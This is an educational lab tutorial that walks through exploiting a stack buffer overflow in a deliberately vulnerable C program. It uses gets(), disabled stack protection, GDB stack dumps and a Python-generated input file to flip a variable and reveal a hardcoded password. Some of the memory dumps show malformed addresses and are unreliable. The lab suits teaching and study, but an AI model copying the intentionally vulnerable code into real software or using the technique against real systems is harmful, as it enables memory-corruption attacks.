

HANDS-ON LAB:

EXPLOITING BUFFER OVERFLOW

STEFANO CHessa
CLAUDIO COSTANZO

STEP 1: SOURCE CODE

Let's start inspecting our **source code**:

```
1 #include <stdio.h>
2
3 /*
4 gcc -g -fno-stack-protector overflow0.c -o overflow0
5 */
6
7
8
9 int main(int argc, char** argv)
10 {
11     char not_overflow;
12     int privileges=0;
13     char buffer[64];
14     printf("Enter some text: \n");
15
16     not_overflow = 'Y';
17     gets(buffer);
18
19     if (not_overflow == 'Y') {
20         printf("Can't Overflow Me\nThis is the content of the buffer:\n%s\n", buffer);
21     }
22
23     else
24     {
25
26         privileges = 1;
27
28     }
29
30     if(privileges == 1)
31     {
32         printf("Your secret password is stefano123");
33     }
34
35
36
37
38     return 0;
39 }
```

gets() is considered unsafe

Normally, this block will never be executed

STEP 2: COMPILATION

```
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ gcc -g -fno-stack-protector overflow0.c -o overflow0
overflow0.c: In function 'main':
overflow0.c:17:5: warning: implicit declaration of function 'gets'; did you mean 'fgets'? [-Wimplicit-function-decl
17 |     gets(buffer);
    |     ^~~~~
    |     fgets
/usr/bin/ld: /tmp/ccIAXgsz.o: in function `main':
/home/ubuntu/Scrivania/DSS/GDB/overflow0.c:17: attenzione: the `gets' function is dangerous and should not be used.
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$
```

Compiler options:

- **-g**: this option is needed to include debugging information that will be useful when analyzing the program with **GDB**. (**GNU DEBUGGER**).
- **-fno-stack-protector**: this option disables some stack protections (e.g **Stack Canary**)

As we can see, even the Compiler tells us that `gets()` function is unsafe, and **SHOULD NOT** be used (use instead safer version, like `fgets()`).

STEP 3: GOOD VS BAD EXECUTION

```
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ ./overflow0
Enter some text:
AAAAAAAA
Can't Overflow Me
This is the content of the buffer:
AAAAAAAA
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ ./overflow0
Enter some text:
kisdfrkisdfrkisdfrklsdnflksdfksdfnpsdkfnpsdkfnpsdkfndsnfpdsjfpjdsfbpdsjbfdsjfbasdfbsdjfbpsdfpsdf
Errore di segmentazione (core dump creato)
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$
```

Run-time executions:

- **Good execution:** The amount of memory used by the input data (8 bytes) is smaller than the buffer's allocated memory capacity (64 bytes).
- **Bad execution:** The amount of memory used by the input data is higher than the buffer's allocated memory capacity (64 bytes). In this case we have a **SEGMENTATION FAULT**.

Segmentation faults occur when a program attempts to access memory that it does not have permission to access or when it tries to access memory that does not exist.

STEP 4: SIMPLE PYTHON SCRIPT

```
ubuntu@ubuntu-VirtualBox:~/Scrivanja/DSS/GDB$ python3 -c 'print("A"*100)' >attack.txt
ubuntu@ubuntu-VirtualBox:~/Scrivanja/DSS/GDB$ cat attack.txt
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ubuntu@ubuntu-VirtualBox:~/Scrivanja/DSS/GDB$ ./overflow0 <attack.txt
Enter some text:
Errore di segmentazione (core dump creato)
ubuntu@ubuntu-VirtualBox:~/Scrivanja/DSS/GDB$
```

From this moment, to simplify our work we will use a simple **Python script**.

- Instead of manually writing **LONG** input on the terminal, (and wasting time), we create a file called "**attack.txt**", that will contain 100 "A" characters, using the command showed in the image above.
- As we can see, if we execute our program, giving "**attack.txt**" as input, the result remains the same.

N.B: if you do not have **Python** already installed on your **Virtual Machine**, type the following commands:

1. `sudo apt update`
2. `sudo apt install python3`
3. `sudo apt upgrade`
4. `python - -version` (to check if python has been installed succesfully)

STEP 5: STARTING WITH GDB

```
9 int main(int argc, char** argv)
10 {
11     char not_overflow;
12     int privileges=0;
13     char buffer[64];
14     printf("Enter some text: \n");
15
16     not_overflow = 'Y';
17     gets(buffer);
18
19     if (not_overflow == 'Y') {
```

Let's start to analyze our program with **GDB**.

```
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ gdb overflow0
GNU gdb (Ubuntu 12.1-0ubuntu1~22.04) 12.1
Copyright (C) 2022 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from overflow0...
(gdb) break main
Breakpoint 1 at 0x119c: file overflow0.c, line 12.
(gdb) run
Starting program: /home/ubuntu/Scrivania/DSS/GDB/overflow0
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db

Breakpoint 1, main (argc=1, argv=0x7fffffffef048) at overflow0.c:12
12     int privileges=0;
(gdb) x/20gx $rsp
0x7fffffffde0: 0x00007fffffffef048      0x0000000010000000
0x7fffffffdee0: 0x0000000000000000      0x0000000000000000
0x7fffffffdef0: 0x0000000000000000      0x0000000000000000
0x7fffffffdf00: 0x0000000000000000      0x0000000000000000
0x7fffffffdf10: 0x0000000000000000      0x0000000000000000
0x7fffffffdf20: 0x0000000000000000      0x0000000000000000
0x7fffffffdf30: 0x0000000000000001      0x00007ffff7c29d90
0x7fffffffdf40: 0x0000000000000000      0x0000555555555189
0x7fffffffdf50: 0x0000000010000000      0x00007fffffffef048
0x7fffffffdf60: 0x0000000000000000      0xfb24cb9ce0a85ffd
(gdb)
```

Commands list:

- "**gdb overflow0**" is used to start the analysis of our program.
- "**break main**" is used to set a **breakpoint** before the main.
- "**run**" is used to start the execution of the program.
- "**x/20gx \$rsp**" is used to show the first 20 memory addresses pointed by **RSP** (**Register Stack Pointer**)

N.B: for **32-bit** architecture the Register is named **esp**(**Extended Stack Pointer**): "**x/20gx \$esp**"

STEP 6: WORKING WITH GDB

```
9 int main(int argc, char** argv)
10 {
11     char not_overflow;
12     int privileges=0;
13     char buffer[64];
14     printf("Enter some text: \n");
15
16     not_overflow = 'Y';
17     gets(buffer);
18
19     if (not_overflow == 'Y') {
```

We have to understand where is the starting point of our buffer in the **Stack**.

```
(gdb) break 19
Breakpoint 2 at 0x555555551c7: file overflow0.c, line 19.
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/Scrivania/DSS/GDB/overflow0
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=1, argv=0x7fffffffe048) at overflow0.c:12
12         int privileges=0;
(gdb) c
Continuing.
Enter some text:
AAAAAAAA

Breakpoint 2, main (argc=1, argv=0x7fffffffe048) at overflow0.c:19
19         if (not_overflow == 'Y') {
(gdb) x/20gx $rsp
0x7fffffffded0: 0x000007fffffffe048      0x0000000010000000
0x7fffffffddee0: 0x4141414141414141      0x0000000000000000
0x7fffffffddef0: 0x0000000000000000      0x0000000000000000
0x7fffffffdff0: 0x0000000000000000      0x0000000000000000
0x7fffffffdff10: 0x0000000000000000      0x0000000000000000
0x7fffffffdff20: 0x0000000000000000      0x0000000005900000
0x7fffffffdff30: 0x0000000000000001      0x000007ffff7c29d90
0x7fffffffdff40: 0x0000000000000000      0x0000555555555189
0x7fffffffdff50: 0x0000000010000000      0x00007fffffffe048
0x7fffffffdff60: 0x0000000000000000      0x36b87c3670eb2095
```

Commands list:

- "**break 19**" is used to set a breakpoint before the if statement
- "**run**" is used to start the execution of the program.
- "**c**" stands for **continue**, and it is used to proceed with the execution of the program until the next breakpoint(if present)
- Then we enter 8 "A" as input
- "**x/20gx \$rsp**" is used to show the first 20 memory addresses pointed by **RSP** (**Register Stack Pointer**)

Do you start to see something???

STEP 7: COMPARE THE STACK'S IMAGES

```
9 int main(int argc, char** argv)
10 {
11     char not_overflow;
12     int privileges=0;
13     char buffer[64];
14     printf("Enter some text: \n");
15
16     not_overflow = 'Y';
17     gets(buffer);
18
19     if (not_overflow == 'Y') {
```

Let's compare the initial image of the **Stack** with the last one:

0x7fffffffdded0: 0x00007fffffffef048	0x0000000100000000
0x7fffffffdded8: 0x0000000000000000	0x0000000000000000
0x7fffffffddedc: 0x0000000000000000	0x0000000000000000
0x7fffffffddef0: 0x0000000000000000	0x0000000000000000
0x7fffffffddef4: 0x0000000000000000	0x0000000000000000
0x7fffffffddef8: 0x0000000000000000	0x0000000000000000
0x7fffffffddefa: 0x0000000000000000	0x0000000000000000
0x7fffffffddf0: 0x0000000000000000	0x0000000000000000
0x7fffffffddf4: 0x0000000000000000	0x0000000000000000
0x7fffffffddf8: 0x0000000000000000	0x0000000000000000
0x7fffffffddf0: 0x0000000000000001	0x00007ffff7c29d90
0x7fffffffddf4: 0x0000000000000000	0x0000555555555189
0x7fffffffddf8: 0x0000000100000000	0x00007fffffffef048
0x7fffffffddf0: 0x0000000000000000	0xfb24cb9ce0a85ffd

If we pay enough attention, we can see that the **Stack** remains unchanged except for... a particular address.

Why we have many "41" here??

0x7fffffffdded0: 0x00007fffffffef048	0x0000000100000000
0x7fffffffdded8: 0x4141414141414141	0x0000000000000000
0x7fffffffddedc: 0x0000000000000000	0x0000000000000000
0x7fffffffddef0: 0x0000000000000000	0x0000000000000000
0x7fffffffddef4: 0x0000000000000000	0x0000000000000000
0x7fffffffddef8: 0x0000000000000000	0x0000000000000000
0x7fffffffddefa: 0x0000000000000000	0x0000000000000000
0x7fffffffddf0: 0x0000000000000000	0x0000000000000000
0x7fffffffddf4: 0x0000000000000000	0x0000000059000000
0x7fffffffddf8: 0x0000000000000001	0x00007ffff7c29d90
0x7fffffffddf0: 0x0000000000000000	0x0000555555555189
0x7fffffffddf4: 0x0000000100000000	0x00007fffffffef048
0x7fffffffddf8: 0x0000000000000000	0x36b87c3670eb2095

Remember that we inserted 8 "A" as input? "41" is just the "A" representation in **ASCII CODE**.

!!!CONGRATULATIONS!!!

We found the starting point of our buffer.

STEP 8: RUNNING OUR EXPLOIT

Now we are ready to start our **attack**.

```
(gdb) run <attack.txt>
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/Scrivania/DSS/GDB/overflow0 <attack.>
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=1, argv=0x7fffffffef048) at overflow0.c:12
12      int privileges=0;
(gdb) c
Continuing.
Enter some text:

Breakpoint 2, main (argc=1, argv=0x7fffffffef048) at overflow0.c:19
19      if (not_overflow == 'Y') {
(gdb) x/20gx $rsp
0x7fffffffde00: 0x00007fffffffef048      0x0000000010000000
0x7fffffffdee0: 0x4141414141414141      0x4141414141414141
0x7fffffffdef0: 0x4141414141414141      0x4141414141414141
0x7fffffffdf00: 0x4141414141414141      0x4141414141414141
0x7fffffffdf10: 0x4141414141414141      0x4141414141414141
0x7fffffffdf20: 0x4141414141414141      0x4141414141414141
0x7fffffffdf30: 0x4141414141414141      0x4141414141414141
0x7fffffffdf40: 0x0000000004141414      0x00005555555555189
0x7fffffffdf50: 0x0000000010000000      0x00007fffffffef048
0x7fffffffdf60: 0x0000000000000000      0x0cef911839b463b2
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0x0000555555555211 in main (argc=1, argv=0x7fffffffef048) at overflow0.c:39
```

Commands list:

- "**run <attack.txt>**" is used to execute our program giving directly in input our **exploit**.
- "**c**" is used again to continue the execution.
- "**x/20gx \$rsp**" is used to show the first 20 memory addresses pointed by **RSP** (**Register Stack Pointer**)

However, our exploit didn't work. We got a **Segmentation Fault** error.
Why??Do you have any idea??

STEP 9: FIXING OUR EXPLOIT

First of all, let's modify with our **Python script** the number of "A" in the "**attack.txt**" file.

For simplicity, we go back to 8 "A", because we already know that we do not have **Segmentation fault** problem in this case.

```
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ python3 -c 'print("A"*8)' > attack.txt
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ cat attack.txt
AAAAAAAA
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$
```

N.B: In order to not stop **GDB** execution, open a new **terminal window** to modify our **exploit** file. Leave the **terminal window** opened, we will need it later on.

STEP 10: RE-EXECUTE WITH GDB

The problem was that our **exploit** overwrote the **return address**...

How can we avoid this??

```
(gdb) run <attack.txt>
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/Scrivania/DSS/GDB/overflow0 <attack.txt>
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=1, argv=0x7fffffffef048) at overflow0.c:12
12      int privileges=0;
(gdb) c
Continuing.
Enter some text:

Breakpoint 2, main (argc=1, argv=0x7fffffffef048) at overflow0.c:19
19      if (not_overflow == 'Y') {
(gdb) x/20gx $rsp
0x7fffffffed0: 0x00007fffffffef048      0x0000000010000000
0x7fffffffede0: 0x4141414141414141      0x0000000000000000
0x7fffffffedf0: 0x0000000000000000      0x0000000000000000
0x7fffffffef00: 0x0000000000000000      0x0000000000000000
0x7fffffffef10: 0x0000000000000000      0x0000000000000000
0x7fffffffef20: 0x0000000000000000      0x0000000059000000
0x7fffffffef30: 0x0000000000000001      0x00007ffff7c29d90
0x7fffffffef40: 0x0000000000000000      0x0000555555555189
0x7fffffffef50: 0x0000000010000000      0x00007fffffffef048
0x7fffffffef60: 0x0000000000000000      0x8b6e714de3caa5ec
(gdb) info frame
Stack level 0, frame at 0x7fffffffef40:
 rip = 0x5555555551c7 in main (overflow0.c:19) saved rip = 0x7ffff7c29d90
 source language c.
 Arglist at 0x7fffffffef30, args: argc=1, argv=0x7fffffffef048
 Locals at 0x7fffffffef30, Previous frame's sp is 0x7fffffffef40
 Saved registers:
 rbp at 0x7fffffffef30, rip at 0x7fffffffef38
```

Commands list:

- "run <attack.txt>" is used to execute our program giving directly in input our **exploit**.
- "info frame" is used to show stack frame information, including the **saved RIP (Register Instruction Pointer)** that will contain the **return address**.

N.B: for **32-bit** architecture the Register is named **eip**(Extended Instruction Pointer)

STEP 11: COMPARE STACK'S IMAGES

```
19  if (not_overflow == 'Y') {
20      printf("Can't Overflow Me\nThis is the conten
21  }
22  }
23  else
24  {
25
26      privileges = 1;
27
28  }
29
30
31  if(privileges == 1)
32  {
33      printf("Your secret password is stefano123");
34
35  }
36
37
38  return 0;
```

If we look closely to the **Stack images**, and we compare the **Segmentation Fault** case with the **Normal execution** one, we can now clearly see that the **rip** was overwritten.

0x7fffffffdded0:	0x00007fffffff048	0x0000000100000000
0x7fffffffdee0:	0x4141414141414141	0x4141414141414141
0x7fffffffdef0:	0x4141414141414141	0x4141414141414141
0x7fffffffdf00:	0x4141414141414141	0x4141414141414141
0x7fffffffdf10:	0x4141414141414141	0x4141414141414141
0x7fffffffdf20:	0x4141414141414141	0x4141414141414141
0x7fffffffdf30:	0x4141414141414141	0x4141414141414141
0x7fffffffdf40:	0x0000000041414141	0x000055555555189
0x7fffffffdf50:	0x0000000100000000	0x00007fffffff048
0x7fffffffdf60:	0x0000000000000000	0x0cef911839b463b2

But, what is that we really want?
What our **exploit** is supposed to do?

Remember that we want to modify the **normal flow** of the program, in order to enter the else condition, that normally is "**unreachable**". But how can we do this??

0x7fffffffdded0:	0x00007fffffff048	0x0000000100000000
0x7fffffffdee0:	0x4141414141414141	0x0000000000000000
0x7fffffffdef0:	0x0000000000000000	0x0000000000000000
0x7fffffffdf00:	0x0000000000000000	0x0000000000000000
0x7fffffffdf10:	0x0000000000000000	0x0000000000000000
0x7fffffffdf20:	0x0000000000000000	0x0000000000000000
0x7fffffffdf30:	0x0000000000000001	0x00007ffff7c29d90
0x7fffffffdf40:	0x0000000000000000	0x000055555555189
0x7fffffffdf50:	0x0000000100000000	0x00007fffffff048
0x7fffffffdf60:	0x0000000000000000	0x8b6e714de3caa5ec

The main idea is to modify the variable "**not_overflow**", in something different from "Y". But what is the **ASCII CODE** representing Y??

Can you see it now??

STEP 12: REFINING OUR EXPLOIT

Last thing to do is to understand how many bytes we need in order to overwrite the "**not_overflow**" variable, but paying attention to not overwrite also the **rip**.

So, How many "A" do we need??

In our case, it should be a number between 75 and 87(I reported both the extremes, however any number in between will work).

```
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ python3 -c 'print("A"*75)' > attack.txt
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$ python3 -c 'print("A"*87)' > attack.txt
ubuntu@ubuntu-VirtualBox:~/Scrivania/DSS/GDB$
```

So, let's make our final step...

N.B: In order to not stop **GDB** execution, use the **terminal window** that we left open to modify our **exploit** file.

FINAL STEP: ATTACK!

```
31 if(privileges == 1)
32 {
33     printf("Your secret password is stefano123");
34 }
35 }
36
37 return 0;
38 }
39 }
```

Let's run again the **exploit**.

```
(gdb) run <attack.txt>
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/ubuntu/Scrivania/DSS/GDB/overflow0 <attack.txt>
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, main (argc=1, argv=0x7fffffffef048) at overflow0.c:12
12     int privileges=0;
(gdb) c
Continuing.
Enter some text:

Breakpoint 2, main (argc=1, argv=0x7fffffffef048) at overflow0.c:19
19     if (not_overflow == 'Y') {
(gdb) x/20gx $rsp
0x7fffffffde0: 0x00007fffffffef048      0x0000000100000000
0x7fffffffdee0: 0x4141414141414141      0x4141414141414141
0x7fffffffdef0: 0x4141414141414141      0x4141414141414141
0x7fffffffdf00: 0x4141414141414141      0x4141414141414141
0x7fffffffdf10: 0x4141414141414141      0x4141414141414141
0x7fffffffdf20: 0x4141414141414141      0x4141414141414141
0x7fffffffdf30: 0x0041414141414141      0x00007ffff7c29d90
0x7fffffffdf40: 0x0000000000000000      0x00000555555555189
0x7fffffffdf50: 0x0000000100000000      0x00007fffffffef048
0x7fffffffdf60: 0x0000000000000000      0x93d9bfc6b61336b6
(gdb) c
Continuing.
Your secret password is stefano123[Inferior 1 (process 3872) exited normally]
```

Commands list:

- "**run <attack.txt**" is used to execute our program giving directly in input our **exploit**.
- "**c**" is used again to continue the execution.
- "**x/20gx \$rsp**" is used to show the first 20 memory addresses pointed by **RSP** (Register Stack Pointer)

As you can see, we overwrote the "**not_overflow**" variable, but not the **rip**.
So we manage to discover the "**secret**".

!!!SUCCESS!!!



THANKS FOR THE ATTENTION

STEFANO CHessa
CLAUDIO COSTANZO